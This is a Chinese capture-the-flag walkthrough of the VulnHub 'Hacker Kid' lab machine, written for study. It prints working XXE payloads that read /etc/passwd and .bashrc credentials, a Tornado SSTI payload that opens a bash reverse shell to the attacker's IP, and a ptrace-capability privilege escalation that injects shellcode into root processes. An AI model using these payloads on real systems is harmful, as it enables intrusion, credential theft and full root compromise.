环境准备
靶机下载地址:https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova
攻击机地址:192.168.232.129
靶机地址:192.168.232.143
网络模式:NAT
信息收集
主机发现
nmap -sP 192.168.232.0/24
端口发现
nmap -sV -A -p- -T4 192.168.232.143
53(DNS服务)
80(HTTP apache服务)
9999(HTTP tornado服务)tornado为python的web框架
访问一下网址
扫描目录
python3 dirsearch.py -u http://192.168.232.143/
python3 dirsearch.py -u http://192.168.232.143:9999/
从扫描两个web端口的目录来看没有什么有用的
发现80端口网页的源代码中有一行注释:
如图所示告诉我们提交一个 GET 参数 page_no 来浏览页面。
按照这个方法试试看。猜测sql注入?测试过后似乎行不通
http://192.168.232.143/?page_no=1
如图所示当提交了 page_no=1 时返回了一句嘲讽的话:
Oh Man !! Isn’t is right to go a little deep inside?
使用burp抓包攻击多提交几个数字看看有什么不一样的
如图所示爆破处理结果,当 page_no=21时,有不一样的结果:
Okay so you want me to speak something ?<br>I am a hacker kid not a dumb hacker. So i created some subdomains to return back on the server whenever i want!!<br>Out of my many homes...one such home..one such home for me : hackers.blackhat.local
翻译一下
好吧,你想让我说点什么吗<br>我是一个黑客孩子,而不是一个愚蠢的黑客。所以我创建了一些子域,以便随时返回服务器<br>在我众多的家中。。。一个这样的家。。我有一个这样的家:hackers.blackhat.local
创建了一个 域名,那么我们把 hackers.blackhat.local 添加到 /etc/hosts 中。
此时添加hosts的dns解析,kali的修改命令 vi /etc/hosts,Windows上的文件位置在C:\Windows\System32\drivers\etc
加上: 192.168.232.143 hackers.blackhat.local
DNS区域传输
使用提到的dig命令 ,axfr命令 可以得到所有的DNS解析记录
axfr的具体含义简单来说就是使用dig命令向服务器发送一个axfr的请求,如果服务器支持axfr,那么就会把请求的域对应的所有的dns记录都返回给请求者。
dig axfr @192.168.232.143 blackhat.local
这里我们把192.168.232.143 hackerkid.blackhat.local加入 /etc/hosts 中
如果想要在本机浏览器访问的话也需要在C:\Windows\System32\drivers\etc下的hosts下修改
好的本机访问成功
尝试过几次会发现邮件都不行。。那抓包查看:
但是发现了这是通过xml发送到服务器的。看到了xml就联想到XXE漏洞,外部实体注入攻击
XXE注入
XML 被设计为传输和存储数据,XML 文档结构包括 XML 声明、DTD 文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从 HTML 分离,是独立于软件和硬件的信息传输工具。
XXE 漏洞全称XML External Entity Injection,即 xml 外部实体注入漏洞,XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
构造xml 数据包payload获取信息
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<root><name>123</name><tel>123</tel><email>
&test;</email><password>123</password></root>
发现一个 saket:x:1000:1000:Ubuntu,:/home/saket:/bin/bash 用户信息
我们尝试访问saket家目录下的.bashrc文件
Payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'php://filter/convert.base64-encode/resource=/home/saket/.bashrc'>]>
<root><name>123</name><tel>123</tel><email>
&test;</email><password>123</password></root>
能够看到加密的了密码base64加密
username="admin"
password="Saket!#$%@!!"
这个密码直接拿去登录9999端口的页面,登录不上,密码肯定不会错啊,那只能考虑账号,拿用户账号尝试一下。。
saket正确用户名为刚刚爆出来的
saket❌1000:1000:Ubuntu,:/home/saket:/bin/bash
登进去之后,页面两句英文,没有任何思路那看看这些单词,可能有 变量 测试下name。
SSTI模板注入
我们在前面信息搜集的时候就知道了9999端口开放的web服务用的是Tornado,Tornado是一个python语言的web服务框架,python作为后端语言,我能想到的最有可能存在的漏洞也就是SSTI模板注入了,所以我这里随手测一下看是否有SSTI模板注入的漏洞
http://192.168.232.143:9999/?name={{1*2}}
说明存在SSTI注入漏洞
{% import os %}{{os.system('bash -c "bash -i &> /dev/tcp/192.168.232.129/7777 0>&1"')}}
报错了。url编码试一下呢
%7b%25%20%69%6d%70%6f%72%74%20%6f%73%20%25%7d%7b%7b%6f%73%2e%73%79%73%74%65%6d%28%27%62%61%73%68%20%2d%63%20%22%62%61%73%68%20%2d%69%20%26%3e%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%32%33%32%2e%31%32%39%2f%37%37%37%37%20%30%3e%26%31%22%27%29%7d%7d
kali开启监听
nc -lvp 7777
执行后成功反弹shell
http://192.168.232.143:9999/?name=%7b%25%20%69%6d%70%6f%72%74%20%6f%73%20%25%7d%7b%7b%6f%73%2e%73%79%73%74%65%6d%28%27%62%61%73%68%20%2d%63%20%22%62%61%73%68%20%2d%69%20%26%3e%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%32%33%32%2e%31%32%39%2f%37%37%37%37%20%30%3e%26%31%22%27%29%7d%7d
Capabilitie提权
/usr/sbin/getcap -r / 2>/dev/null
涉及知识点:
Capabilities机制在Linux内核2.2之后引入
原理:将之前与超级用户root(UID=0)关联的特权细分为不同的功能组,Capabilites作为线程(Linux并不真正区分进程和线程)的属性存在,每个功能组都可以独立启用和禁用。其本质上就是将内核调用分门别类,具有相似功能的内核调用被分到同一组中。
这样一来,权限检查的过程就变成了:在执行特权操作时,如果线程的有效身份不是root,就去检查其是否具有该特权操作所对应的capabilities,并以此为依据,决定是否可以执行特权操作。
如果Capabilities设置不正确,就会让攻击者有机可乘,实现权限提升。
利用下面这条命令发现具有Capabilities特殊操作权限的程序
/usr/sbin/getcap -r / 2>/dev/null
-r:递归查询
/dev/null:Linux的垃圾桶
2:错误模式输出后面可以理解为如果有错误报告会直接删除不会显示
/sbin:超级用户指令系统管理命令存放的是系统管理员使用的程序
/getcap -r:查找setcap所设置的文件
可以发现python2.7具有cap_sys_ptrace+ep能力,所以我们可以对其利用进行提权
这里需要用到一个提权脚本,这个脚本的作用就是对root权限的进程注入python类型shellcode,利用python具备的cap_sys_ptrace+ep能力实现权限提升
此脚本如果执行成功,会在靶机本地监听5600端口,不过也可以修改脚本shellcode部分使其监听其他端口
进入靶机/tmp目录,把脚本下载到本地
cd /tmp //进入tmp目录
git clone https://gitee.com/Re1-zf/shell.git //下载注入脚本
cd shell
使用脚本批量对root进程进行注入(此注入脚本会在目标机监听开启一个5600端口)
for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done
netstat -pantu | grep 5600 //查看是否开启
攻击机连接靶机5600端口
已拿到root权限